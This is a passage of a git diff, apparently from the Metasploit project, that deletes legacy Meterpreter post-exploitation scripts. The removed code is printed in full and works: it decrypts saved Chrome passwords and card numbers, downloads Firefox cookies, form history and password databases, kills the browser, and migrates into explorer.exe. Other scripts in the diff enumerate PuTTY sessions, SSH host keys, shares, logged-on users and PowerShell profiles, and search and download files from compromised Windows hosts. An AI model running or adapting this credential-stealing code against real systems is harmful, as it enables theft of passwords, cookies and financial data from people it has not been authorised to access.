rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - len, addr = ret["pDataOut"].unpack("V2") - return "" if len == 0 - decrypted = process.memory.read(addr, len) -end - -def write_output(file, rows) - if @output_format.include?("json") - ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("yaml") - ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("text") - ::File.open(file + ".txt", "w") do |f| - f.write(rows.first.keys.join("\t") + "\n") - f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) - end - end -end - -def process_files(username) - @chrome_files.each do |item| - in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) - out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) - if item[:sql] - db = SQLite3::Database.new(in_file) - columns, *rows = db.execute2(item[:sql]) - db.close - rows.map! do |row| - res = Hash[*columns.zip(row).flatten] - if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" - if @host_info['Architecture'] !~ /x64/ - item[:encrypted_fields].each do |field| - print_good("decrypting field '#{field}'...") - res[field + "_decrypted"] = decrypt_data(res[field]) - end - else - print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") - end - end - res - end - if rows.length > 0 - print_status("writing output '#{item[:out_file]}'...") - write_output(out_file, rows) - else - print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") - end - else - ::FileUtils.cp(in_file, out_file) - end - end -end - -def extract_data(username) - chrome_path = @profiles_path + "\\" + username + @data_path - begin - client.fs.file.stat(chrome_path) - rescue - print_status("no files found for user '#{username}'") - return false - end - - @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| - remote_path = chrome_path + '\\' + f - local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) - print_status("downloading file #{f} to '#{local_path}'...") - client.fs.file.download_file(local_path, remote_path) - end - return true -end - -if @migrate - current_pid = client.sys.process.open.pid - target_pid = client.sys.process["explorer.exe"] - if target_pid != current_pid - @old_pid = current_pid - print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") - client.core.migrate(target_pid) - print_status("done.") - end -end - -host = session.session_host -@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M")) -::FileUtils.mkdir_p(@log_dir) - -sysdrive = client.sys.config.getenv('SYSTEMDRIVE') -os = @host_info['OS'] -if os =~ /(Windows 7|2008|Vista)/ - @profiles_path = sysdrive + "\\Users\\" - @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" -elsif os =~ /(2000|NET|XP)/ - @profiles_path = sysdrive + "\\Documents and Settings\\" - @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" -end - -usernames = [] - -uid = client.sys.config.getuid - -if is_system? - print_status "running as SYSTEM, extracting user list..." - print_status "(decryption of passwords and credit card numbers will not be possible)" - client.fs.dir.foreach(@profiles_path) do |u| - usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - end - print_status "users found: #{usernames.join(", ")}" -else - print_status "running as user '#{uid}'..." - usernames << client.sys.config.getenv('USERNAME') - prepare_railgun -end - -usernames.each do |u| - print_status("extracting data for user '#{u}'...") - success = extract_data(u) - process_files(u) if success -end - -if @migrate && @old_pid - print_status("migrating back into PID=#{@old_pid}...") - client.core.migrate(@old_pid) - print_status("done.") -end - -raise Rex::Script::Completed diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb deleted file mode 100644 index acd1c62880..0000000000 --- a/scripts/meterpreter/enum_firefox.rb +++ /dev/null @@ -1,292 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## -require 'sqlite3' -@client = client -kill_frfx = false -host,port = session.session_host, session.session_port -# Create Filename info to be appended to downloaded files -filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - -# Create a directory for the logs -@logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo ) - -# logfile name -logfile = @logs + "/" + host + filenameinfo + ".txt" -notusrs = [ - "Default", - "Default User", - "Public", - "LocalService", - "NetworkService", - "All Users" -] -#------------------------------------------------------------------------------- -#Function for getting Firefox SQLite DB's -def frfxplacesget(path,usrnm) - # Create the log - ::FileUtils.mkdir_p(@logs) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - end - } - -end -#------------------------------------------------------------------------------- -#Function for processing the Firefox sqlite DB's -def frfxdmp(usrnm) - sitesvisited = [] - dnldsmade = [] - bkmrks = [] - cookies = [] - formvals = '' - searches = '' - results = '' - placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" - formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" - searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" - cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" - bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" - download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" - url_history = @logs + ::File::Separator + usrnm + "_history.txt" - form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" - search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" - begin - print_status("\tGetting Firefox Bookmarks for #{usrnm}") - db = SQLite3::Database.new(placesdb) - #print_status("\tProcessing #{placesdb}") - - db.execute('select a.url from moz_places a, moz_bookmarks b, '+ - 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ - ' and folder_id=2 and a.hidden=0') do |row| - bkmrks << row - end - print_status("\tSaving to #{bookmarks}") - if bkmrks.length != 0 - bkmrks.each do |b| - file_local_write(bookmarks,"\t#{b.to_s}\n") - end - else - print_status("\tIt appears that there are no bookmarks for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting list of Downloads using Firefox made by #{usrnm}") - db.execute('SELECT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id '+ - 'AND visit_type = "7" ORDER by visit_date') do |row| - dnldsmade << row - end - print_status("\tSaving Download list to #{download_list}") - if dnldsmade.length != 0 - dnldsmade.each do |d| - file_local_write(download_list,"\t#{d.to_s} \n") - end - else - print_status("\tIt appears that downloads where cleared for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox URL History for #{usrnm}") - db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id ' + - 'AND visit_type = "1" ORDER by visit_date' ) do |row| - sitesvisited << row - end - print_status("\tSaving URL History to #{url_history}") - if sitesvisited.length != 0 - sitesvisited.each do |s| - file_local_write(url_history,"\t#{s.to_s}\n") - end - else - print_status("\tIt appears that Browser History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox Form History for #{usrnm}") - db = SQLite3::Database.new(formdb) - #print_status("\tProcessing #{formdb}") - db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| - formvals << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Form History to #{form_history}") - if formvals.length != 0 - file_local_write(form_history,formvals) - else - print_status("\tIt appears that Form History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - - begin - print_status("\tGetting Firefox Search History for #{usrnm}") - db = SQLite3::Database.new(searchdb) - #print_status("\tProcessing #{searchdb}") - db.execute("SELECT name,value FROM engine_data") do |row| - searches << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Search History to #{search_history}") - if searches.length != 0 - file_local_write(search_history,searches) - else - print_status("\tIt appears that Search History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - # Create Directory for dumping Firefox cookies - ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") - ::FileUtils.mkdir_p(ckfldr) - db = SQLite3::Database.new(cookiesdb) - db.results_as_hash = true - print_status("\tGetting Firefox Cookies for #{usrnm}") - db.execute("SELECT * FROM moz_cookies;" ) do |item| - fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") - fd.puts "Name: " + item['name'] + "\n" - fd.puts "Value: " + item['value'].to_s + "\n" - fd.puts "Host: " + item['host'] + "\n" - fd.puts "Path: " + item['path'] + "\n" - fd.puts "Expiry: " + item['expiry'].to_s + "\n" - fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" - fd.puts "isSecure: " + item['isSecure'].to_s + "\n" - fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" - fd.close - end - return results -end -#------------------------------------------------------------------------------- -#Function for getting password files -def frfxpswd(path,usrnm) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - - if @client.fs.file.stat(fullpath).directory? - frfxpswd(fullpath,usrnm) - elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i - begin - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Password file to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - rescue - print_error("\t******Failed to download file #{x}******") - print_error("\t******Browser could be running******") - end - end - } - -end -#------------------------------------------------------------------------------- -# Function for checking if Firefox is installed -def frfxchk - found = false - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| - if a =~ /Firefox/ - print_status("Firefox was found on this system.") - found = true - end - end - return found -end -#------------------------------------------------------------------------------- -#Function for executing all pilfering actions for Firefox -def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile) - print_status("Getting Firefox information for user #{usrnm}") - frfxplacesget(frfoxdbloc,usrnm) - frfxpswd(frfoxdbloc,usrnm) - file_local_write(logfile,frfxdmp(usrnm)) -end - -# Function to kill Firefox if open -def kill_firefox - print_status("Killing the Firefox Process if open...") - @client.sys.process.get_processes().each do |x| - if x['name'].downcase == "firefox.exe" - print_status("\tFirefox Process found #{x['name']} #{x['pid']}") - print_status("\tKilling process .....") - session.sys.process.kill(x['pid']) - end - end -end -####################### Options ########################### -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] - -) -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Firefox Browser." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-k" - kill_frfx = true - end -} -if client.platform =~ /win32|win64/ - if frfxchk - user = @client.sys.config.getuid - if not is_system? - envs = @client.sys.config.getenvs('USERNAME', 'APPDATA') - usrname = envs['USERNAME'] - db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - else - registry_enumkeys("HKU").each do |sid| - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ - key_base = "HKU\\#{sid}" - usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) - db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - end - end - end - - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb deleted file mode 100644 index 138f41b704..0000000000 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ /dev/null @@ -1,101 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## -@client = client -#------------------------------------------------------------------------------- - -######################## Functions ######################## -def ls_logged - sids = [] - sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") - tbl = Rex::Text::Table.new( - 'Header' => "Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "Profile Path" - ]) - sids.flatten.each do |sid| - profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") - tbl << [sid,profile_path] - end - print_line("\n" + tbl.to_s + "\n") -end - -def ls_current - key_base, username = "","" - tbl = Rex::Text::Table.new( - 'Header' => "Current Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "User" - ]) - registry_enumkeys("HKU").each do |sid| - case sid - when "S-1-5-18" - username = "SYSTEM" - tbl << [sid,username] - when "S-1-5-19" - username = "Local Service" - tbl << [sid,username] - when "S-1-5-20" - username = "Network Service" - tbl << [sid,username] - else - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base = "HKU\\#{sid}" - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") - username = '' - if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ - username = $1 - end - end - tbl << [sid,username] - end - end - end - print_line("\n" + tbl.to_s + "\n") -end -#------------------------------------------------------------------------------- -####################### Options ########################### -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ false, "List SID's of users who have loged in to the host." ], - "-c" => [ false, "List SID's of currently loged on users." ] - ) -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-l" - ls_logged - when "-c" - ls_current - end -} -if client.platform =~ /win32|win64/ - if args.length == 0 - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb deleted file mode 100644 index d3fab5da07..0000000000 --- a/scripts/meterpreter/enum_powershell_env.rb +++ /dev/null @@ -1,132 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -#Meterpreter script for enumerating Microsoft Powershell settings. -#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com -@client = client - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] -) - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") - print_line("USAGE: run enum_scripting_env") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end -} -#Support Functions -#------------------------------------------------------------------------------- -def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.sys.config.getenv('SystemDrive') - - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\Users\\" - profilepath = "\\Documents\\WindowsPowerShell\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\My Documents\\WindowsPowerShell\\" - end - - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.sys.config.getenv('USERNAME') - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users -end - - - -#------------------------------------------------------------------------------- -def enum_powershell - #Check if PowerShell is Installed - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") - print_status("Powershell is Installed on this system.") - powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") - print_status("Version: #{powershell_version}") - #Get PowerShell Execution Policy - begin - powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") - rescue - powershell_policy = "Restricted" - end - print_status("Execution Policy: #{powershell_policy}") - powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") - print_status("Path: #{powershell_path}") - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") - print_status("Powershell Snap-Ins:") - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| - print_status("\tSnap-In: #{si}") - registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| - print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") - end - end - else - print_status("No PowerShell Snap-Ins are installed") - - end - if powershell_version =~ /2./ - print_status("Powershell Modules:") - powershell_module_path = @client.sys.config.getenv('PSModulePath') - @client.fs.dir.foreach(powershell_module_path) do |m| - next if m =~ /^(\.|\.\.)$/ - print_status("\t#{m}") - end - end - tmpout = [] - print_status("Checking if users have Powershell profiles") - enum_users.each do |u| - print_status("Checking #{u['username']}") - begin - @client.fs.dir.foreach(u["userappdata"]) do |p| - next if p =~ /^(\.|\.\.)$/ - if p =~ /Microsoft.PowerShell_profile.ps1/ - ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") - until ps_profile.eof? - tmpout << ps_profile.read - end - ps_profile.close - if tmpout.length == 1 - print_status("Profile for #{u["username"]} not empty, it contains:") - tmpout.each do |l| - print_status("\t#{l.strip}") - end - end - end - end - rescue - end - end - - - end -end -if client.platform =~ /win32|win64/ - enum_powershell -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb deleted file mode 100644 index 5eae76195b..0000000000 --- a/scripts/meterpreter/enum_putty.rb +++ /dev/null @@ -1,104 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# -# Meterpreter script for enumerating putty connections -# Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com -# -@client = client -#Options and Option Parsing -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] -) - -opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Putty Configuration." - print_line(opts.usage) - raise Rex::Script::Completed - end -} - -def hkcu_base - key_base = [] - - if not is_system? - key_base << "HKCU" - else - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base << "HKU\\#{k}" - end - end - end - return key_base -end -def check_putty(reg_key_base) - installed = false - app_list = [] - app_list = registry_enumkeys("#{reg_key_base}\\Software") - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") - username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) - end - if app_list.index("SimonTatham") - print_status("Putty Installed for #{username_profile}") - installed = true - end - return installed -end - -def enum_known_ssh_hosts(reg_key_base) - print_status("Saved SSH Server Public Keys:") - registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| - print_status("\t#{host}") - end -end - -def enum_saved_sessions(reg_key_base) - saved_sessions = [] - sessions_protocol = "" - sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" - saved_sessions = registry_enumkeys(sessions_key) - if saved_sessions.length > 0 - saved_sessions.each do |saved_session| - print_status("Session #{saved_session}:") - sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") - if sessions_protocol =~ /ssh/ - print_status("\tProtocol: SSH") - print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") - print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") - print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") - elsif sessions_protocol =~ /serial/ - print_status("\tProtocol: Serial") - print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") - print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") - print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") - print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") - end - end - end -end -if client.platform =~ /win32|win64/ - hkcu_base.each do |hkb| - if check_putty(hkb) - enum_known_ssh_hosts(hkb) - enum_saved_sessions(hkb) - end - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb deleted file mode 100644 index 896315b7fb..0000000000 --- a/scripts/meterpreter/enum_shares.rb +++ /dev/null @@ -1,124 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] - ) - -opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," - print_line "History of UNC Paths entered in Run Dialog." - print_line(opts.usage) - raise Rex::Script::Completed - end -} - -# Function for enumerating recent mapped drives on target machine -def enum_recent_mounts(base_key) - recent_mounts = [] - partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' - full_path = "#{partial_path}\\Map Network Drive MRU" - explorer_keys = registry_enumkeys(partial_path) - if explorer_keys.include?("Map Network Drive MRU") - registry_enumvals(full_path).each do |k| - if not k =~ /MRUList/ - recent_mounts << registry_getvaldata(full_path,k) - end - end - end - return recent_mounts -end - -# Function for enumerating UNC Paths entered in run dialog box -def enum_run_unc(base_key) - unc_paths = [] - full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' - registry_enumvals(full_path).each do |k| - if k =~ /./ - run_entrie = registry_getvaldata(full_path,k) - unc_paths << run_entrie if run_entrie =~ /^\\\\/ - end - end - return unc_paths -end - -def enum_conf_shares() - target_os = client.sys.config.sysinfo['OS'] - if target_os =~ /Windows 7|Vista|2008/ - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' - else - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' - end - shares = registry_enumvals(shares_key) - if shares.length > 0 - print_status() - print_status("The following shares where found:") - shares.each do |s| - share_info = registry_getvaldata(shares_key,s).split("\000") - print_status("\tName: #{s}") - share_info.each do |e| - name,val = e.split("=") - print_status("\t#{name}: #{val}") if name =~ /Path|Type/ - end - print_status() - end - end -end - -if client.platform =~ /win32|64/ - # Variables to hold info - mount_history = [] - run_history = [] - - # Enumerate shares being offered - enum_conf_shares() - - if not is_system? - mount_history = enum_recent_mounts("HKEY_CURRENT_USER") - run_history = enum_run_unc("HKEY_CURRENT_USER") - else - user_sid = [] - key = "HKU\\" - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") - run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") - end - end - - # Enumerate Mount History - if mount_history.length > 0 - print_status("Recent Mounts found:") - mount_history.each do |i| - print_status("\t#{i}") - end - print_status() - end - - #Enumerate UNC Paths entered in the Dialog box - if run_history.length > 0 - print_status("Recent UNC paths entered in Run Dialog found:") - run_history.each do |i| - print_status("\t#{i}") - end - print_status() - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb deleted file mode 100644 index 1597e59431..0000000000 --- a/scripts/meterpreter/file_collector.rb +++ /dev/null @@ -1,87 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -@client = client -location = nil -search_blob = [] -input_file = nil -output_file = nil -recurse = false -logs = nil -@opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help menu." ], - "-i" => [true, "Input file with list of files to download, one per line."], - "-d" => [true, "Directory to start search on, search will be recursive."], - "-f" => [true, "Search blobs separated by a |."], - "-o" => [true, "Output File to save the full path of files found."], - "-r" => [false, "Search subdirectories."], - "-l" => [true, "Location where to save the files."] -) -# Function for displaying help message -def usage - print_line "Meterpreter Script for searching and downloading files that" - print_line "match a specific pattern. First save files to a file, edit and" - print_line("use that same file to download the choosen files.") - print_line(@opts.usage) - raise Rex::Script::Completed -end - -# Check that we are running under the right type of Meterpreter -if client.platform =~ /win32|win64/ - # Parse the options - if args.length > 0 - @opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-i" - input_file = val - when "-o" - output_file = val - when "-d" - location = val - when "-f" - search_blob = val.split("|") - when "-r" - recurse = true - when "-l" - logs = val - end - } - # Search for files and save their location if specified - if search_blob.length > 0 and location - search_blob.each do |s| - print_status("Searching for #{s}") - results = @client.fs.file.search(location,s,recurse) - results.each do |file| - print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)") - file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file - end - end - end - # Read log file and download those files found - if input_file and logs - if ::File.exist?(input_file) - print_status("Reading file #{input_file}") - print_status("Downloading to #{logs}") - ::File.open(input_file, "r").each_line do |line| - print_status("\tDownloading #{line.chomp}") - @client.fs.file.download(logs, line.chomp) - end - else - print_error("File #{input_file} does not exist!") - end - end - else - usage - end -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb deleted file mode 100644 index 1186eaf3b6..0000000000 --- a/scripts/meterpreter/get_application_list.rb +++ /dev/null @@ -1,70 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Meterpreter script for listing installed applications and their version. -# Provided: carlos_perez[at]darkoperator[dot]com - -#Options and Option Parsing -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] -) - -def app_list - tbl = Rex::Text::Table.new( - 'Header' => "Installed Applications", - 'Indent' => 1, - 'Columns' => [ - "Name", - "Version" - ]) - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - threadnum = 0 - a = [] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - if dispnm =~ /\S*/ - tbl << [dispnm,dispversion] - end - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if 